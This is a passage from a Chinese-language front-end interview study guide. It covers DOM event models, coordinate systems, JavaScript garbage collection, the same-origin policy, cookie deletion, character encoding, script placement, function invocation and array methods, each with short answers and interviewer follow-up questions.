    因为用得太广,浏览器不敢删,后来 HTML 规范把这类事件处理属性正式写进了标准。所以它现在是标准的,只是名字还留着「DOM 0」这个历史叫法。

  • MutationObserver 出来之前,怎么监听 DOM 变化?

    用 DOM 2 的 Mutation Events,比如 DOMNodeInserted。它是同步触发的,每改一个节点就回调一次,性能很差,已经被废弃,Chrome 从 127 开始默认移除。MutationObserver 是把变化攒起来在微任务里批量通知。

  • querySelector 和 getElementsByClassName 返回的集合有什么不同?

    querySelectorAll 返回静态的 NodeList,之后增删节点它不变;getElementsByClassName 返回动态的 HTMLCollection,会实时反映 DOM 变化。边遍历边删除时,用动态集合很容易漏元素。

  • Shadow DOM 解决什么问题?

    组件内部的样式和结构隔离。Shadow DOM 里的样式不会漏出去,外面的样式也进不来,<video> 自带的控制条就是用它实现的。Web Components 就是靠它做封装。

  • 现在说 DOM 4、DOM 5 还有意义吗?

    意义不大。W3C 在 2015 年发过一个 DOM 4,本质是 WHATWG 活标准的一个快照。现在大家以 WHATWG 的 DOM Living Standard 为准,查兼容性直接看 MDN 和 Can I use。

# 104 介绍DOM0,DOM2,DOM3事件处理方式区别

⚡ 30 秒速记

  • DOM 0:el.onclick = fn,同一事件只能挂一个,后挂的覆盖前面的;el.onclick = null 解绑,只走冒泡
  • DOM 2:addEventListener(type, fn, useCapture),可挂多个、能选捕获或冒泡;removeEventListener 要传同一个函数引用和同样的 capture
  • DOM 3:机制不变,扩充事件类型(键盘、文本输入、合成事件、CustomEvent);常被说成 DOM 3 特性的「命名空间」其实是 jQuery 的功能(click.ns),规范里没有
  • 第三个参数现在多用对象:{ capture, once, passive, signal },signal 配 AbortController 一次解绑一批
  • attachEvent 是老 IE(IE8 及以下)的私有 API,IE11 已经移除,别再写

DOM 0 是直接给 onclick 赋值,只能绑一个;DOM 2 用 addEventListener,能绑多个、能控制捕获冒泡;DOM 3 在 DOM 2 基础上扩充了事件类型。 实际开发里我基本只用 addEventListener,DOM 0 最大的问题是会被覆盖,两个模块都写 window.onload 就有一个白写了。现在更值得聊的是第三个参数的对象写法:once 执行一次自动解绑,passive 告诉浏览器不会 preventDefault 好让滚动不等待,signal 配 AbortController 能在组件卸载时一行解绑所有监听。

  • DOM0级事件处理方式:通过直接给事件属性赋值的方式进行事件处理,例如 element.onclick = func;。这种方式只能为同一个事件属性赋一个处理函数,且无法进行事件捕获阶段的处理。取消事件处理需要将事件属性赋值为null
    • btn.onclick = func;
    • btn.onclick = null;
  • DOM2级事件处理方式:引入了 addEventListener 和 removeEventListener 方法来注册和移除事件处理函数。通过使用该方式,可以为同一个事件属性添加多个处理函数,且可以在事件的捕获阶段或冒泡阶段进行处理。使用addEventListener 注册事件处理函数,使用 removeEventListener 移除事件处理函数
    • btn.addEventListener('click', func, false);
    • btn.removeEventListener('click', func, false);
    • btn.attachEvent("onclick", func);
    • btn.detachEvent("onclick", func);
  • DOM3级事件处理方式:引入了新的事件类型和接口,提供更多的事件处理选项。可以使用自定义的事件类型,并通过 eventUtil 等自定义的工具对象来添加和移除事件处理函数。DOM3级事件处理方式还引入了事件的命名空间概念,允许对特定命名空间的事件进行处理
    • eventUtil.addListener(input, "textInput", func);
    • eventUtil 是自定义对象,textInput 是DOM3级事件

在事件处理过程中,事件会经历捕获阶段、目标阶段和冒泡阶段。捕获阶段从文档根节点开始,向下传递到触发事件的目标元素,然后进入目标阶段,最后冒泡阶段从目标元素向上冒泡到文档根节点。DOM2和DOM3级事件处理方式都支持捕获和冒泡阶段的处理,可以通过第三个参数 useCapture 来控制事件是在捕获阶段还是冒泡阶段触发。

需要注意的是,DOM2和DOM3级事件处理方式的兼容性较好,而DOM0级事件处理方式在现代的开发中很少使用,推荐使用DOM2级或DOM3级事件处理方式。

💬 面试官追问

  • removeEventListener 调了,监听还在,可能是什么原因?

    最常见是传了一个新的匿名函数,或者 bind 之后的函数,引用不一样就移不掉。还有一种是绑定时 capture: true,移除时没传,也对不上。

  • 组件里绑了 5 个 window 事件,卸载时一个个 remove 很烦,怎么办?

    建一个 AbortController,每个 addEventListener 都传 { signal: controller.signal },卸载时调 controller.abort(),全部一起解绑。

  • 同一个按钮,onclick 和 addEventListener 都绑了,执行顺序是什么?

    按注册的先后顺序执行,它们在同一个监听列表里。但如果后面又给 onclick 重新赋值,它会替换掉原来那个 DOM 0 处理函数,位置保留在原来的顺序上。

  • 怎么派发一个带数据的自定义事件?

    el.dispatchEvent(new CustomEvent('login', { detail: { id: 1 }, bubbles: true })),监听方从 e.detail 拿数据。不写 bubbles: true 它默认不冒泡,父元素上的监听收不到。

  • passive: true 的监听里调 preventDefault 会怎样?

    不生效,控制台会给一条警告。所以要阻止默认滚动的场景(比如自己实现下拉刷新)必须显式写 passive: false。

# 105 区分什么是“客户区坐标”、“页面坐标”、“屏幕坐标”

⚡ 30 秒速记

  • 区别在原点:clientX/Y 相对视口,pageX/Y 相对整个文档,screenX/Y 相对物理屏幕
  • pageY = clientY + window.scrollY,页面没滚动时两者相等
  • offsetX/Y:相对事件目标元素的内边距边缘,目标换了就跟着变,拖拽时容易抖
  • getBoundingClientRect() 和 clientX 是同一个坐标系(视口),配合使用最方便;加上 scrollY 就是页面坐标
  • 移动端触摸在 e.touches[0].clientX 上;offsetLeft 是相对 offsetParent 的,不是相对页面

这三组坐标的区别就是原点不同:client 以浏览器可视区左上角为原点,page 以整个文档左上角为原点,screen 以显示器左上角为原点。 举个例子,页面往下滚了 500px,鼠标停在视口顶部附近,clientY 可能是 10,pageY 就是 510。实际开发中最常用的是 clientX 配 getBoundingClientRect(),它们都是视口坐标,算鼠标在元素里的位置直接相减就行。screenX 很少用,多显示器或者计算弹出窗口位置时才会碰到。

  • 客户区坐标:鼠标指针在可视区中的水平坐标(clientX)和垂直坐标(clientY)
  • 页面坐标:鼠标指针在页面布局中的水平坐标(pageX)和垂直坐标(pageY)
  • 屏幕坐标:设备物理屏幕的水平坐标(screenX)和垂直坐标(screenY)
<!DOCTYPE html>
<html>
<head>
  <style>
    body {
      margin: 0;
      height: 2000px;
    }
    #box {
      width: 200px;
      height: 200px;
      background-color: red;
      position: absolute;
      left: 100px;
      top: 100px;
    }
  </style>
</head>
<body>
  <div id="box"></div>

  <script>
    document.addEventListener('mousemove', function(event) {
      console.log('客户区坐标:', event.clientX, event.clientY);
      console.log('页面坐标:', event.pageX, event.pageY);
      console.log('屏幕坐标:', event.screenX, event.screenY);
    });
  </script>
</body>
</html>

如何获得一个DOM元素的绝对位置?

  • elem.offsetLeft:返回元素相对于其定位父级左侧的距离
  • elem.offsetTop:返回元素相对于其定位父级顶部的距离
  • elem.getBoundingClientRect():返回一个DOMRect对象,包含一组描述边框的只读属性,单位像素
<!DOCTYPE html>
<html>
<head>
  <style>
    body {
      margin: 0;
      padding: 0;
    }
    #container {
      width: 500px;
      height: 500px;
      position: relative;
      border: 1px solid black;
    }
    #box {
      width: 100px;
      height: 100px;
      background-color: red;
      position: absolute;
      left: 200px;
      top: 200px;
    }
  </style>
</head>
<body>
  <div id="container">
    <div id="box"></div>
  </div>

  <script>
    var box = document.getElementById('box');

    var offsetLeft = box.offsetLeft;
    var offsetTop = box.offsetTop;
    console.log('offsetLeft:', offsetLeft);
    console.log('offsetTop:', offsetTop);

    var rect = box.getBoundingClientRect();
    console.log('rect:', rect);
    console.log('left:', rect.left);
    console.log('top:', rect.top);
  </script>
</body>
</html>

💬 面试官追问

  • 鼠标在一个元素上,怎么算出鼠标相对这个元素左上角的位置?

    const rect = el.getBoundingClientRect(); const x = e.clientX - rect.left;,两边都是视口坐标,直接相减。不建议用 offsetX,鼠标移到子元素上时它会变成相对子元素计算。

  • 做拖拽时用 pageX 算位移,页面一滚动元素就跳,为什么?

    pageX 包含了滚动距离,拖拽中如果页面滚动了,算出来的位移会混进滚动量。拖拽一般全程用 clientX 计算差值,元素用 fixed 定位,或者显式把滚动偏移加进去。

  • 在页面某个位置弹出一个跟着点击位置的浮层,用哪个坐标?

    浮层是 position: absolute 挂在 body 下的,就用 pageX/pageY,页面滚动后浮层会跟着内容走。浮层是 fixed 的就用 clientX/clientY。

  • 元素加了 transform: scale(2),getBoundingClientRect 和 offsetWidth 哪个变?

    getBoundingClientRect 返回的是变换后在屏幕上实际占的尺寸,会变成 2 倍;offsetWidth 是布局尺寸,不受 transform 影响。算点击位置要用前者。

  • 怎么拿一个元素相对整个页面的绝对位置?

    el.getBoundingClientRect().top + window.scrollY。用 offsetTop 的话只是相对 offsetParent,要一层层往上累加,遇到中间有滚动容器还会算错。

# 106 Javascript垃圾回收方法

⚡ 30 秒速记

  • 引用计数:记录被引用次数,归零就回收;致命问题是循环引用永远归不了零,老 IE 的 DOM / COM 对象就栽在这
  • 标记清除(主流):从根(全局对象、调用栈)出发遍历,能到的标记为活,其余清掉,天然解决循环引用
  • V8 分代:新生代用 Scavenge(两块空间来回复制,适合朝生夕死的小对象),活过两次就晋升老生代
  • 老生代:标记清除 + 标记整理(解决碎片),配合增量标记、并发标记,减少主线程停顿
  • 开发者能做的只是别制造多余的引用:清定时器、解绑监听、关联数据用 WeakMap

现代 JS 引擎都用标记清除:从根对象出发,能顺着引用找到的就留着,找不到的就回收。 这里的根主要是全局对象和当前调用栈里的变量。早期的引用计数是数「有几个人引用我」,归零就回收,但两个对象互相引用时谁都归不了零,就泄漏了,老 IE 里 DOM 和 JS 对象互相引用的泄漏就是这么来的。V8 在标记清除的基础上又做了分代:新对象放新生代频繁小回收,活得久的晋升老生代,再配合增量和并发标记,尽量不让页面卡顿。

正常情况下,现代的 JavaScript 引擎会使用标记清除(mark and sweep)算法作为主要的垃圾回收方法。引用计数(reference counting)在某些老旧的 JavaScript 引擎中可能会被使用。

标记清除(mark and sweep)是 JavaScript 中最常见的垃圾回收算法,其工作原理如下:

  1. 垃圾回收器会在运行时给存储在内存中的所有变量加上标记。
  2. 垃圾回收器会从根对象开始,递归遍历所有的引用,标记它们为“进入环境”。
  3. 在遍历完成后,垃圾回收器会对未被标记的变量进行清除,即将其回收内存空间。
  4. 被清除的内存空间将被重新分配给后续的变量使用。
function foo() {
  var x = { name: 'poetry' };
  var y = { name: 'Jane' };

  // 循环引用,x 引用了 y,y 引用了 x
  x.ref = y;
  y.ref = x;

  // x 和 y 不再被使用,将被标记为垃圾
  x = null;
  y = null;

  // 垃圾回收器在适当的时机会清理循环引用的对象
}

// 调用函数触发垃圾回收
foo();

引用计数(reference counting)是一种简单的垃圾回收算法,其工作原理如下:

  1. 对于每个对象,引擎会维护一个引用计数器,用于记录当前有多少个引用指向该对象。
  2. 当一个引用指向对象时,引用计数器加一;当一个引用不再指向对象时,引用计数器减一。
  3. 当引用计数器为零时,说明该对象没有被引用,可以将其回收内存空间。
  4. 引用计数算法容易出现循环引用的问题,即两个或多个对象互相引用,但没有被其他对象引用,导致引用计数器无法归零,造成内存泄漏。

值得注意的是,现代的 JavaScript 引擎往往会采用更高级的垃圾回收算法,如基于分代的垃圾回收和增量标记等,以提高垃圾回收的效率和性能。以上所述的标记清除和引用计数仅是简单的介绍,实际的垃圾回收算法比较复杂,并涉及到更多的优化和细节。

// 引用计数无法处理循环引用问题,这里只作演示
function foo() {
  var x = { name: 'poetry' };
  var y = { name: 'Jane' };

  // x 和 y 引用计数均为 1
  var refCountX = 1;
  var refCountY = 1;

  // 循环引用,x 引用了 y,y 引用了 x
  x.ref = y;
  y.ref = x;

  // x 和 y 不再被使用,引用计数减一
  refCountX--;
  refCountY--;

  // 当引用计数为零时,垃圾回收器可以清理对象
  if (refCountX === 0) {
    // 清理 x 对象的内存
    x = null;
  }

  if (refCountY === 0) {
    // 清理 y 对象的内存
    y = null;
  }
}

// 调用函数触发垃圾回收
foo();

请注意,上述示例中的引用计数示例仅为演示目的,并未解决循环引用导致的内存泄漏问题。在实际开发中,为了避免内存泄漏,需要使用更高级的垃圾回收算法和技术,或者手动解除循环引用。

💬 面试官追问

  • x.ref = y; y.ref = x 互相引用后设成 null,在现代浏览器会泄漏吗?

    不会。标记清除只看能不能从根找到,x、y 互相引用但外面没人指向它们,整个环都不可达,一起回收。即使不设 null,函数执行完局部变量出栈,它们也会被回收。

  • 为什么要分新生代和老生代?

    大部分对象活不过几次 GC,比如函数里的临时对象。新生代空间小、回收频繁,用复制算法只搬活着的少数对象,很快;老生代对象多且稳定,用标记清除整理,回收次数少。分开处理比一刀切效率高得多。

  • GC 的时候页面会卡吗?

    会有停顿,所以 V8 做了很多事减少它:增量标记把一次大标记拆成很多小步,穿插在 JS 执行之间;并发标记和并行清理把工作放到辅助线程。现在一般感觉不到,但频繁创建大量对象还是会让 GC 变频繁,在动画里尤其明显。

  • Node 服务内存一直涨,最后 OOM 崩溃,怎么查?

    用 node --inspect 连上 DevTools 拍堆快照,隔一段时间再拍一次对比,看哪些对象一直在增长、被谁持有。常见元凶是用普通对象做的缓存没有上限、全局数组只进不出、事件监听反复注册没移除。

  • 能不能手动触发垃圾回收?

    浏览器里不能。Node 启动时加 --expose-gc 可以调 global.gc(),但只用于测试和排查,生产环境手动触发只会带来额外停顿。

# 107 请解释一下 JavaScript 的同源策略

⚡ 30 秒速记

  • 同源 = 协议 + 域名 + 端口三者全一样,http://a.com 和 https://a.com 就已经不同源
  • 管的是「读」:读跨源响应、碰跨源 iframe 的 DOM、读别家的 Cookie / localStorage / IndexedDB
  • 不管「发」和「嵌」:img / script / link / 表单提交照样能跨域,JSONP 和 CSRF 都是从这条缝里来的
  • 跨域请求其实发出去了,服务端也处理了,是浏览器拦下了响应不给 JS 看
  • 正规放开靠 CORS(服务端用响应头授权);只在浏览器生效,服务端之间调接口不受限,所以开发代理能绕过去

同源策略说白了就是浏览器不让一个网站的脚本偷看另一个网站的数据,判断标准是协议、域名、端口三个都相同。 它拦的主要是「读」:fetch 一个跨域接口,请求其实已经到了服务器,只是响应回来后浏览器不交给你的 JS。而加载图片、脚本、提交表单这种「写出去」的动作是放行的,这也是为什么同源策略挡不住 CSRF。真要跨域读数据,就让服务端返回 Access-Control-Allow-Origin 走 CORS,或者在同源的服务端做一层代理转发。

时序图 · 3 个参与者 / 8 步
alt 服务端允许该来源没有授权响应头页面脚本页面脚本浏览器浏览器跨域服务端跨域服务端fetch 跨域接口(带自定义头)1OPTIONS 预检,带 Origin2204,返回 Allow-Origin / Allow-Headers3发送真正的请求4200 + Allow-Origin5把响应交给脚本6响应里缺 Allow-Origin7拦截响应,抛 CORS 错误8简单请求没有预检,直接发出并执行,只在响应阶段拦

同源策略(Same-Origin Policy)是浏览器中一种重要的安全机制,用于限制来自不同源(协议、域名、端口)的脚本对当前文档的访问权限。同源策略的作用是保护用户的信息安全,防止恶意网站获取敏感数据或进行跨站攻击。

同源策略限制了以下行为:

  1. 脚本访问跨源文档的 DOM:通过脚本在页面中嵌入的 iframe 元素加载的跨源文档无法通过脚本访问其 DOM,除非目标文档明确允许。
  2. 脚本读取跨源文档的内容:通过脚本在页面中嵌入的 iframe 元素加载的跨源文档无法通过脚本读取其内容,包括读取属性、执行方法等。
  3. 脚本发送跨源 AJAX 请求:脚本无法直接发送跨源的 AJAX 请求,只能向同源的服务器发送请求。
  4. Cookie、LocalStorage 和 IndexDB 的限制:跨源的脚本无法访问其他源的 Cookie、LocalStorage 或 IndexDB 数据。

同源策略的存在使得浏览器可以更好地保护用户的隐私和安全。然而,也有一些场景需要进行跨域访问,例如使用 JSONP、CORS、代理服务器等方式来实现跨域请求。

需要注意的是,同源策略仅在浏览器中执行,不会限制服务器之间的通信,服务器可以自由地进行跨域访问。

💬 面试官追问

  • fetch 跨域报了 CORS 错误,后端说他那边日志里看到请求了,谁对?

    都对。简单请求会真的发到服务端并执行,只是响应缺少 Access-Control-Allow-Origin,浏览器把结果拦了。所以别以为跨域报错就等于接口没执行,带副作用的 POST 照样已经落库。

  • 既然有同源策略,为什么 CSRF 还能成功?

    因为同源策略只拦读不拦发。恶意页面用一个自动提交的表单往你的站点发 POST,浏览器会带上目标站的 Cookie,攻击只需要请求被执行,不需要读响应。防它靠 SameSite Cookie、CSRF Token、校验 Origin。

  • a.example.com 和 b.example.com 的页面能互相访问 DOM 吗?

    默认不能,子域不同就是跨源。以前可以两边都设 document.domain = 'example.com' 放开,但这个能力 Chrome 115 起默认禁用了,现在要用 postMessage 通信。

  • 开发环境用 webpack / Vite 的 proxy 就不跨域了,原理是什么?

    浏览器请求的是本地开发服务器,同源;开发服务器再用 Node 去请求真实后端,服务端之间没有同源策略。上线后没有这个代理,所以生产要么 Nginx 反代到同域,要么后端配 CORS。

  • localStorage 在 http 和 https 下是同一份吗?

    不是。协议不同就是不同源,http://a.com 存的东西在 https://a.com 下读不到,站点切 HTTPS 后用户本地缓存全丢就是这个原因。

# 108 如何删除一个cookie

⚡ 30 秒速记

  • 没有删除 API,靠「覆盖成已过期」:document.cookie = 'token=; max-age=0; path=/'
  • expires 设成过去时间也行,比如 Thu, 01 Jan 1970 00:00:00 GMT;max-age=0 更短更直观
  • 删不掉九成是 path / domain 没对上:name + domain + path 才唯一确定一个 Cookie
  • HttpOnly 的 Cookie JS 看不见也删不掉,只能服务端回一个过期的 Set-Cookie
  • 新 API:cookieStore.delete('token'),返回 Promise,Firefox / Safari 支持较晚,生产要兜底

删 Cookie 就是写一个同名、同 path、同 domain 的 Cookie,并让它立刻过期。 最常用的是 document.cookie = 'token=; max-age=0; path=/'。很多人写了这行发现没删掉,原因是浏览器靠名字、域名、路径三个东西一起认 Cookie,当初设置在 path=/ 下,你删的时候没带 path,默认用的是当前页面目录,那就成了「删另一个不存在的 Cookie」。还有一类是登录态 Cookie 一般带 HttpOnly,前端根本动不了,退出登录得调接口让服务端清。

删除一个 Cookie 可以通过以下几种方式实现:

1. 将 Cookie 的过期时间设置为过去的时间:

var date = new Date();
date.setDate(date.getDate() - 1);
document.cookie = "cookieName=; expires=" + date.toUTCString();

将 cookieName 替换为要删除的 Cookie 的名称。

2. 使用 expires 参数设置过期时间:

document.cookie = "cookieName=; expires=Thu, 01 Jan 1970 00:00:00 UTC";

同样,将 cookieName 替换为要删除的 Cookie 的名称。

3. 使用 max-age 参数设置过期时间:

document.cookie = "cookieName=; max-age=0";

同样,将 cookieName 替换为要删除的 Cookie 的名称。

请注意,删除 Cookie 时需要确保 path 和 domain 参数与要删除的 Cookie 的设置一致,以确保正确删除指定的 Cookie

💬 面试官追问

  • 退出登录时前端执行了删除,刷新后 token 还在,先查什么?

    打开 Application 面板看这个 Cookie 的 Domain、Path 和 HttpOnly。最常见的是它设在 .example.com 上,你删的时候没写 domain=.example.com;如果勾着 HttpOnly,前端就别折腾了,让后端在登出接口里下发过期的 Set-Cookie。

  • 同名 Cookie 在 / 和 /admin 下各有一个,document.cookie 读出来是什么样?

    两个都会出现,像 id=2; id=1,路径更长的排在前面。这时候删除要分别带对应的 path 删两次,只删一个你会以为删除没生效。

  • max-age=0 和 expires 设过去时间,有区别吗?

    效果一样,都会让浏览器立刻丢掉它。两个都写时 max-age 优先。expires 依赖客户端时间,本地时钟乱了偶尔会出怪事,我习惯写 max-age。

  • 能不能一次把当前站点的 Cookie 全清掉?

    前端只能遍历 document.cookie 拿到名字,逐个用可能的 path / domain 组合去覆盖,HttpOnly 的永远清不掉。真要彻底清,服务端响应头 Clear-Site-Data: "cookies" 更干净。

  • 带 Secure 的 Cookie,在 http 页面能删吗?

    不能。http 页面既不能设置也不能覆盖 Secure 的 Cookie,所以删除要在 https 页面里做,写的时候顺手带上 Secure。

# 109 页面编码和被请求的资源编码如果不一致如何处理

⚡ 30 秒速记

  • 根本解法:全链路统一 UTF-8,文件本身、响应头、页面声明三处对齐
  • 页面声明 <meta charset="utf-8"> 要放在 head 最前面,必须落在前 1024 字节内
  • 优先级:BOM > 响应头 Content-Type 的 charset > <meta charset>,响应头写错了 meta 救不回来
  • 外链脚本:<script charset> 已经被规范标记为废弃,正确做法是让服务端给 JS 返回带 charset 的 Content-Type
  • 改不了的老 GBK 接口:fetch 拿 arrayBuffer(),再用 new TextDecoder('gbk') 手动解码

页面和资源编码对不上就会乱码,最省心的办法是把文件本身、服务端响应头、页面 meta 全部统一成 UTF-8。 浏览器决定用哪种编码是有优先级的:文件开头的 BOM 最高,其次是响应头里的 charset,最后才是页面的 meta。所以经常出现页面写了 utf-8 还乱码,一看是 Nginx 给返回了 charset=gbk。实在碰上改不了的老 GBK 接口,我会用 fetch 拿二进制,再用 TextDecoder('gbk') 自己解,别在页面上去迁就它。

如果页面编码和被请求的资源编码不一致,可以采取以下处理方式:

  1. 后端响应头设置 charset:在服务器端返回资源(例如 HTML 页面、CSS 文件、JavaScript 文件)时,在响应头中设置正确的字符编码,确保与页面编码一致。例如,在 HTTP 头部中添加以下内容:
Content-Type: text/html; charset=utf-8

这样可以告诉浏览器使用 UTF-8 编码解析返回的资源。

  1. 前端页面 <meta> 设置 charset:在 HTML 页面的 <head> 部分添加 <meta> 标签,并设置正确的字符编码,确保与被请求的资源编码一致。例如:
<meta charset="utf-8">

这样可以告诉浏览器使用 UTF-8 编码解析当前页面。

通过上述方式设置正确的字符编码,可以确保页面和被请求的资源在解析和显示时使用一致的编码,避免乱码等问题。需要注意的是,确保页面和资源的编码设置一致,并且字符编码在各个环节中正确传递和解析。

💬 面试官追问

  • 页面写了 <meta charset="utf-8">,中文还是乱码,怎么排查?

    先看 Network 里这个文档的响应头 Content-Type,响应头的 charset 比 meta 优先级高。再确认文件本身是不是真的按 UTF-8 保存的,编辑器右下角就能看到,GBK 文件声明成 UTF-8 一样乱。

  • 页面是 UTF-8,引了一个第三方 GBK 编码的 JS,里面的中文提示乱码了,怎么办?

    最好让对方服务端返回 Content-Type: application/javascript; charset=gbk。改不了的话临时可以加 charset="gbk" 属性,但它已被标记废弃,长期还是把文件转成 UTF-8 自己托管。

  • 老接口返回 GBK 编码的 JSON,res.json() 直接乱码,怎么拿到正确的数据?

    res.json() 默认按 UTF-8 解。改成 const buf = await res.arrayBuffer(); JSON.parse(new TextDecoder('gbk').decode(buf)),浏览器自带的 TextDecoder 支持 gbk。

  • URL 里带中文参数,后端收到的是乱码,前端该怎么处理?

    拼参数前用 encodeURIComponent 编码,它统一按 UTF-8 转成 %E4%B8%AD 这种形式,后端按 UTF-8 解。用 URLSearchParams 拼也会自动编码,别手拼字符串。

  • meta charset 为什么要放在 head 第一行?

    浏览器只在前 1024 字节里找它,而且在找到之前已经按猜的编码开始解析了。前面要是塞了一大段内联脚本,可能导致浏览器用错编码,甚至要重新解析一遍页面。

# 110 把<script>放在</body>之前和之后有什么区别?浏览器会如何解析它们?

⚡ 30 秒速记

  • 放 </body> 之后不合规范,但浏览器容错会把它挪回 body 里执行,效果基本一样
  • 解析器在 </body> 后又遇到内容,会切回 in body 模式接着处理,生成的 DOM 里 script 还是 body 最后一个子节点
  • 差别只在合规和可预期性,没有性能收益,别这么写
  • 放底部真正的意义:同步脚本会阻塞 HTML 解析,放在最后不挡首屏,执行时 DOM 也都建好了
  • 现在更推荐 head + defer:解析时就并行下载,解析完再按顺序执行

放在 </body> 之后在规范上是错的,但浏览器会容错把它当成 body 里的最后一个元素,实际运行几乎没区别。 HTML 解析器碰到 </body> 之后还有内容,会把它挂回 body 末尾,你在 Elements 面板里看到的结构和放 </body> 前一模一样。所以这题真正想考的是脚本位置对解析的影响:同步 script 会卡住解析,放底部能让页面先出来。现在我一般不纠结底部了,直接放 head 里加 defer,既能早下载又不阻塞,还能保证执行顺序。

将<script>放在</body>之前和之后的区别主要是在符合HTML标准的语法规则和浏览器的容错机制上,具体如下:

  1. 符合HTML标:按照HTML标准规定,<script>标签应该放在<body>标签内,通常是放在</body>之前。将<script>放在</body>之后是不符合HTML标准的,属于语法错误。但是,现代浏览器通常会自动容错并解析这样的语法,不会出现明显的错误。
  2. 浏览器解析:浏览器会解析并执行<script>标签中的JavaScript代码。无论<script>放在</body>之前还是之后,浏览器都会执行其中的代码。浏览器的容错机制会忽略<script>之前的</body>,视作<script>仍然在<body>内部。因此,从功能和效果上来说,两者没有区别。
  3. 服务器输出优化:在一些情况下,省略</body>和</html>闭合标签可以减少服务器输出的内容,因为浏览器会自动补全这些标签。对于大型网站或需要优化响应速度的场景,这种优化可以略微减少传输的字节数。

需要注意的是,虽然现代浏览器对放置<script>标签的位置比较宽容,但为了遵循HTML标准和保持代码的可读性和可维护性,推荐将<script>标签放在</body>之前,符合语义和结构的要求。

💬 面试官追问

  • 把 script 写在 </html> 之后,会被执行吗?

    会,浏览器同样容错,把它塞回 body 末尾。能跑不代表该写,HTML 校验会报错,模板一多也没人知道哪段是故意放外面的。

  • 既然放底部也不阻塞首屏,为什么还推荐 head + defer?

    放底部要等解析器走到最后才开始下载脚本,defer 放在 head 里,解析一开始就并行下载,解析完立刻执行,整体更快。两者执行时机都在 DOM 建好之后、DOMContentLoaded 之前。

  • defer 和 async 选哪个?

    有依赖顺序、要操作 DOM 的业务脚本用 defer,按书写顺序执行;统计、广告这类独立脚本用 async,下载完就执行,不保证顺序。type="module" 默认就是 defer 的行为。

  • 底部脚本里 document.getElementById('app') 拿到 null,可能是什么原因?

    多半是这个元素是后面才渲染的,比如被框架异步挂载,或者脚本其实被打包工具注入到了 head 且没有 defer。看看最终产物里 script 的位置,必要时监听 DOMContentLoaded。

# 111 JavaScript 中,调用函数有哪几种方式

⚡ 30 秒速记

  • 四种基本调用,对应 this 的四条规则:fn() / obj.fn() / new Fn() / call·apply·bind
  • fn():非严格模式 this 是 globalThis,严格模式是 undefined
  • call 逐个传参、apply 传数组,都立即执行;bind 返回新函数稍后调用
  • 优先级:new > bind / call > 方法调用 > 普通调用;箭头函数不参与,this 跟定义时的外层走
  • 冷门但也算调用:标签模板函数、getter·setter 访问器、Reflect.apply()

函数怎么调用,决定了里面的 this 是谁,所以这题本质是在问 this 绑定规则。 直接 fn() 调用,非严格模式下 this 是全局对象,严格模式是 undefined;obj.fn() 是谁点出来的就指向谁;new Fn() 指向新建的实例;call、apply、bind 显式指定,区别是 call 一个个传参、apply 传数组、bind 不立刻执行而是返回新函数。最容易出事的是把方法单独拿出来用,比如 const f = obj.fn; f(),这时候 this 就丢了。

在JavaScript中,调用函数有以下几种方式:

  1. 方法调用模式:将函数作为对象的方法调用,使用点运算符来调用函数。
obj.method(arg1, arg2);
  1. 函数调用模式:直接调用函数,没有明确的接收者对象。
func(arg1, arg2);
  1. 构造器调用模式:使用new关键字调用函数作为构造器来创建对象实例。
new Func(arg1, arg2);
  1. call/apply调用模式:使用call或apply方法来调用函数,并指定函数内部的this值,以及参数列表。
func.call(obj, arg1, arg2);
func.apply(obj, [arg1, arg2]);
  1. bind调用模式:使用bind方法创建一个新函数,并指定新函数的this值,然后调用新函数。
var newFunc = func.bind(obj);
newFunc(arg1, arg2);

这些不同的调用方式提供了灵活性和适用性,可以根据不同的场景选择合适的方式来调用函数。

💬 面试官追问

  • setTimeout(obj.say, 100) 里打印 this.name 是 undefined,为什么?

    obj.say 传进去的只是函数本身,定时器到点后是普通调用,this 不再是 obj。改成 setTimeout(() => obj.say(), 100) 或 obj.say.bind(obj)。

  • 一个函数 bind 过之后再 call 别的对象,this 听谁的?

    听 bind 的。bind 返回的函数内部已经把 this 锁死,再 call / apply / 再 bind 都改不了,只有 new 能盖过它。

  • apply 现在还有什么必须用的场景吗?

    不多了。以前 Math.max.apply(null, arr) 求最大值,现在写 Math.max(...arr) 就行。只有在拿到一个参数数组、又要指定 this 时,apply 还算顺手,不过 fn.call(ctx, ...args) 也能替代。

  • 箭头函数能用 call 改 this 吗?

    改不了。箭头函数没有自己的 this,call 传进去的第一个参数会被忽略,this 永远是定义时外层作用域的那个;它也不能被 new。

  • React 类组件里事件回调为什么要 bind?

    onClick={this.handle} 把方法当值传给 React,触发时是普通调用,严格模式下 this 是 undefined。所以要在构造函数里 bind,或者写成类字段箭头函数 handle = () => {}。

# 112 列举一下JavaScript数组和对象有哪些原生方法?

⚡ 30 秒速记

  • 按会不会改原数组分两类来记,比背全名单有用得多
  • 改原数组:push / pop / shift / unshift / splice / sort / reverse / fill / copyWithin
  • 返回新数组:map / filter / slice / concat / flat / flatMap;ES2023 补了不可变版 toSorted / toReversed / toSpliced / with
  • 查找判断:find / findLast / findIndex / includes / indexOf / some / every / at
  • 对象:Object.keys / values / entries / fromEntries / assign / create / freeze / defineProperty / hasOwn / groupBy(ES2024)

这题我不会一个个念方法名,而是按「会不会修改原数组」分成两组来讲,这是实际写代码最容易踩坑的地方。 像 sort、reverse、splice 会直接改原数组,在 React 状态里用了,引用不变页面就不刷新;map、filter、slice 返回新数组就安全。ES2023 专门加了 toSorted、toReversed 这些不可变版本来解决这个问题。对象这边常用的是 Object.keys / entries 做遍历,Object.fromEntries 转回对象,Object.assign 或展开做浅拷贝,Object.freeze 冻结配置。

数组方法:

  • arr.concat(arr1, arr2, arrn):连接多个数组并返回新数组。
  • arr.copyWithin(target, start, end):将数组的一部分复制到同一数组中的另一个位置。
  • arr.entries():返回一个包含数组键值对的迭代器对象。
  • arr.every(callbackFn, thisArg):测试数组中的所有元素是否都通过了指定函数的测试。
  • arr.fill(value, start, end):用静态值填充数组的一部分。
  • arr.filter(callbackFn, thisArg):创建一个新数组,其中包含通过指定函数筛选的所有元素。
  • arr.find(callbackFn, thisArg):返回数组中第一个满足测试函数的元素的值。
  • arr.findIndex(callbackFn, thisArg):返回数组中第一个满足测试函数的元素的索引。
  • arr.flat(depth):将多维数组展平为一维数组。
  • arr.flatMap(callbackFn, thisArg):首先使用映射函数映射每个元素,然后将结果展平为一维数组。
  • arr.forEach(callbackFn, thisArg):对数组中的每个元素执行指定函数。
  • arr.includes(searchElement, fromIndex):判断数组中是否包含指定元素。
  • arr.indexOf(searchElement, fromIndex):返回指定元素在数组中首次出现的索引。
